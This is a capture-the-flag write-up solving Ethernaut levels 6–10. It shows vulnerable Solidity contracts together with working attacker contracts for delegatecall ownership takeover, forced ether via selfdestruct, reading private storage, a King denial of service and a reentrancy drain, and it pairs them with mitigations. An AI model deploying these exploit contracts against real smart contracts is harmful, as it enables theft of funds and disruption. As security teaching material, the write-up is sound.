Solving Ethernaut - Part 2 - Levels 6 to 10

Overview

Second part of the solutions to Ethernaut. Levels start to get progressively harder, and a lot more interesting to solve and learn.

The challenges solved in this part focus on teaching by example some basic Solidity and EVM concepts. If you solved CaptureTheEther, most of these levels will remind you of that game, and solutions are similar in many aspects.

Info

All my solutions to Ethernaut were coded some time ago, however, I had a bit more experience with Solidity than when I solved CaptureTheEther. The code still won't win any style or correctness competition, but does its job.

It's possible to see an improvement on the quality of my code. The contracts I used were not modified nor prettified for publishing, so I'm quite proud of my progress. Still there's a lot of room for even more improvements. Never stop learning and getting better at something.

The complete code for these solutions is at my Ethernaut-solutions github repo.


Level 6: Delegation


This level has its focus on the delegatecall function. The goal is to take ownership, and the hints are explicit about the mentioned low-level function, fallback methods and function signatures.

Contract analysis

There are two contracts to be deployed. The first one is called Delegate and has an address owner variable and a pwn() function that makes msg.sender the owner of the instance.

 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.6.0;
 3
 4contract Delegate {
 5
 6  address public owner;
 7
 8  constructor(address _owner) public {
 9    owner = _owner;
10  }
11
12  function pwn() public {
13    owner = msg.sender;
14  }
15}

The second contract, Delegation, has an address owner variable, a reference to a Delegate contract that is set to the instance deployed by the game, and a fallback() function that makes the delegatecall to the delegate instance, with msg.data as argument.

 1contract Delegation {
 2
 3  address public owner;
 4  Delegate delegate;
 5
 6  constructor(address _delegateAddress) public {
 7    delegate = Delegate(_delegateAddress);
 8    owner = msg.sender;
 9  }
10
11  fallback() external {
12    (bool result,) = address(delegate).delegatecall(msg.data);
13    if (result) {
14      this;
15    }
16  }
17}

Vulnerability / Attack vector

The delegatecall runs the called code in the caller's context. This means that all storage operations affect the caller's storage.

Solution

The challenge is solved by making the Delegation contract call the pwn() function of the Delegate contract. That function sets the owner variable to msg.sender, so after the call, the player's EOA is the owner and the level is solved.

Now, if we go back to Level 4 solution, the image clearly says that if an EOA calls a contract, and in turn that contract calls another, the msg.sender gets modified. So if Delegation calls a function on Delegate, the msg.sender won't be the player's EOA. However, as said before, delegatecall preserves the context of the caller, that means msg.sender, msg.value and storage are the ones of the calling function, even when it's executing code on the called contract.

The second part of the process is understanding what the fallback() function is doing, and why there's nowhere in Delegation code an explicit call to pwn().

Solidity functions have a selector that is calculated as the four high-order bytes of the keccak256 hash of the function signature. In this context, signature is defined as the expression that involves the function name, with the argument types enclosed in parenthesis.

For example, the function signature for function calculateInterestRate(address account, uint256 factor) public view returns(uint256) is calculateInterestRate(address,uint256). If you've been following my writeups, I usually reference functions in the text by their signatures. To obtain the function selector, just extract the highest-order four bytes of the keccak256 hash of the signature. In the example function above, that would be 0x02739755.

To execute a function on a contract, the function selector has to be passed as the msg.data, followed by all the arguments required by the function. If the function selector passed matches a function of the contract, that function gets executed. If none matches, the fallback() function is called.

The Delegation contract has no public functions defined, except for the fallback(). The constructor is not part of the deployed code, and you can verify that in the contract ABI. So basically, the Delegation contract just acts as a proxy for Delegate, forwarding all calls made.

The solution for the level, then, consists in trying to call the pwn() function of Delegation by means of a low-level call, encoding the function selector in the msg.data. Delegation will forward the same msg.data as a delegate call to Delegate and execute the specified function. When the owner variable of Delegate is overwritten, due to the delegate call, it's actually overwriting Delegation's storage slot 0, or owner.

You can use 4byte.directory for calculating function selectors, or trying to match a selector to its function name. For the record, the pwn() function selector is 0xdd365b8b.

Conclusions

This level looks easy, but it's heavy on basic concepts. Solidity documentation and EVM specifications are the main bibliography here. Most exploits and vulnerabilities rely on a deep knowledge of the system being exploited, Ethereum in this case.


Level 7: Force


The challenge is to send money to a contract that doesn't accept money. Can it be convinced otherwise?

Contract analysis

The contract has a cat. No functions, no variables, no constants. Only a cat. And a grumpy one that doesn't want your money.

 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.6.0;
 3
 4contract Force {/*
 5
 6                   MEOW ?
 7         /\_/\   /
 8    ____/ o o \
 9  /~____  =ø= /
10 (______)__m_m)
11
12*/}

Vulnerability / Attack vector

The contract has no payable functions at all, not even a fallback(). However, there's still a way to send some ether to it without reverts.

Solution

As stated in the solution for Retirement fund CaptureTheEther challenge, there are two ways to force ether into a contract:

  • Setting its address as the coinbase for a mined block.
  • Targeting it with a selfdestruct() function.

Let's create an attacker contract:

1contract ForceAttack {
2    constructor() public payable {
3        require (msg.value == 1 wei);
4    }
5    
6    function attack(address payable target) public payable{
7        selfdestruct(target);
8    }
9}

Calling attack(address) will solve the level, as it will send 1 wei to the Force contract instance.

Conclusions

This simple challenge shows how the internal balance of the contract can be externally modified without the contract knowing, or even when explicit measures are in place to not allow receiving ether. Contract balance should be constantly monitored for unexpected changes if your code depends on it.


Level 8: Vault


A simple password-protected vault is deployed, the goal is to unlock it.

Contract analysis

The unlock(bytes32) function compares the argument with the stored password, and unlocks the vault if the supplied password is correct. The bytes32 password variable is private, and the vault starts locked because in the constructor, the bool locked variable is set to true.

 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.6.0;
 3
 4contract Vault {
 5  bool public locked;
 6  bytes32 private password;
 7
 8  constructor(bytes32 _password) public {
 9    locked = true;
10    password = _password;
11  }
12
13  function unlock(bytes32 _password) public {
14    if (password == _password) {
15      locked = false;
16    }
17  }
18}

Vulnerability / Attack vector

This is not a vulnerability. There is no private data on the blockchain.

Solution

There are two approaches to solve the level. Both involve looking at blockchain data:

  • Read the contract storage to read the bytes32 password variable.
  • Find the contract deployment transaction and look at the argument passed to the constructor or the modified storage slots in the transaction.

The first one could be solved by means of a simple Python script, similar to the one used on CaptureTheEther's Guess The Secret Number challenge.

The second one consists in visiting the contract's address on Etherscan, and find the transaction that deployed the contract, then on State tab look at the storage slot values, like in the figure:

Storage slots modified by deploying the contract

If you look at the contract variables, the first one is bool locked that gets stored in storage slot 0, and the second one is bytes32 password in storage slot 1.

Conclusions

Again, everything on the blockchain is readable by anyone. Make sure you don't store secret codes, passwords, private keys or any other kind of sensitive information in a contract.


Level 9: King


This challenge is a web3 version of the well-known "King of the Hill" game. To become the king, anybody can send a larger amount of ether than the previous king. That ether sent is given to the current (to-be-replaced) king.

To solve the level, the game must be broken by becoming king and preventing anyone else to replace you.

Contract analysis

The deployer of the contract becomes the first king, with a prize of msg.value. That means that to become a new king, the player has to send more than that value.

The receive() payable function acts when the contract receives ether, and validates the conditions mentioned to become king. If this check succeeds, the old king is paid, and the new king is proclaimed.

Anyone can see who the current king is, and the amount of ether to beat, because the address king and uint prize variables are public. There is also a redundant _king() function that returns the address of the current king, pretty much the same as the king variable.

 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.6.0;
 3
 4contract King {
 5
 6  address payable king;
 7  uint public prize;
 8  address payable public owner;
 9
10  constructor() public payable {
11    owner = msg.sender;  
12    king = msg.sender;
13    prize = msg.value;
14  }
15
16  receive() external payable {
17    require(msg.value >= prize || msg.sender == owner);
18    king.transfer(msg.value);
19    king = msg.sender;
20    prize = msg.value;
21  }
22
23  function _king() public view returns (address payable) {
24    return king;
25  }
26}

Vulnerability / Attack vector

The contract expects the players to be EOAs, but if a contract with no fallback/receive function becomes the king, there’s no way to send the ethers back to it.

Solution

As stated above, deploying a contract with no fallback or receive function is enough to solve the challenge. However, this contract must be able to become the king.

Calling the attack() function the contract claims itself king by sending its balance to the King contract instance.

 1contract KingAttack {
 2    
 3    address payable target;
 4    
 5    constructor(address payable _target) public payable {
 6        require(msg.value > 0);
 7        target = _target;
 8    }
 9    
10    function attack() public payable {
11        target.call.value(address(this).balance)("");
12    }
13}

Conclusions

Never assume that the msg.sender is an EOA. Always check for edge cases when transferring ether to unknown third party addresses.


Level 10: Re-entrancy


Another contract to be emptied by means of a reentrancy vulnerability.

Contract analysis

The challenge code seems like a donation wallet, where anyone can donate to whoever they want by calling donate(address). That donation is stored in the contract, and the recipient can call withdraw(uint) to cash out the donations received.

Anyone can check the donations balances using the balanceOf(address) function, and lastly, the contract uses SafeMath library, so there can't be any overflow.

 1// SPDX-License-Identifier: MIT
 2pragma solidity ^0.6.0;
 3
 4import '@openzeppelin/contracts/math/SafeMath.sol';
 5
 6contract Reentrance {
 7  
 8  using SafeMath for uint256;
 9  mapping(address => uint) public balances;
10
11  function donate(address _to) public payable {
12    balances[_to] = balances[_to].add(msg.value);
13  }
14
15  function balanceOf(address _who) public view returns (uint balance) {
16    return balances[_who];
17  }
18
19  function withdraw(uint _amount) public {
20    if(balances[msg.sender] >= _amount) {
21      (bool result,) = msg.sender.call{value:_amount}("");
22      if(result) {
23        _amount;
24      }
25      balances[msg.sender] -= _amount;
26    }
27  }
28
29  receive() external payable {}
30}

Vulnerability / Attack vector

The level name hints at a reentrancy attack, which can be located at line 21 of the function withdraw(uint).

Solution

This solution is similar to CaptureTheEther's Token bank level. The difference is that, in this case, the calling contract (Reentrance) doesn't call a particular function on the called. It just sends ether.

The receive() payable function in a contract allows it to react to incoming ether. That function gets executed automatically if the contract receives ether, so that's the first hint at a solution for the level.

Since the calling contract updates its internal accounting after the external call was made (at line 25), it is possible to call the withdraw(uint) function again from receive(). The balance in this second call is incorrect, as it doesn't show the effects of the (unfinished) previous call, and we're able to withdraw more money than we had as donations.

 1contract ReentranceAttack {
 2    address payable owner;
 3    Reentrance target;
 4    
 5    constructor(address payable _target) public {
 6        owner = payable(msg.sender);
 7        target = Reentrance(_target);
 8    }
 9    
10    function attack() public payable {
11        target.withdraw(200 finney);
12    }
13    
14    receive() external payable {
15        target.withdraw(200 finney);
16    }
17    
18    function getBalance() public view returns(uint256) {
19        return address(this).balance;
20    }
21    
22    function withdraw() public payable {
23        owner.transfer(address(this).balance);
24    }
25    
26}

Conclusions

Reentrancy is a huge risk to contracts. To mitigate this problem, always follow the checks-effects-interactions pattern.

This pattern states that, if a contract needs to make an external call, it should follow these guidelines

  • First, check if the requirements are met. That can mean to check for balances, for authorizations, and so on.
  • Then, apply all the effects that the function commits. That is, write to storage to update balances, decrease allowances, and so on.
  • Lastly, interact with the external contracts by calling the function.

If the external call tries to re-enter the calling function, it won't be able to execute anything because the conditions were updated prior to the call.

Posts in this Series

comments powered by Disqus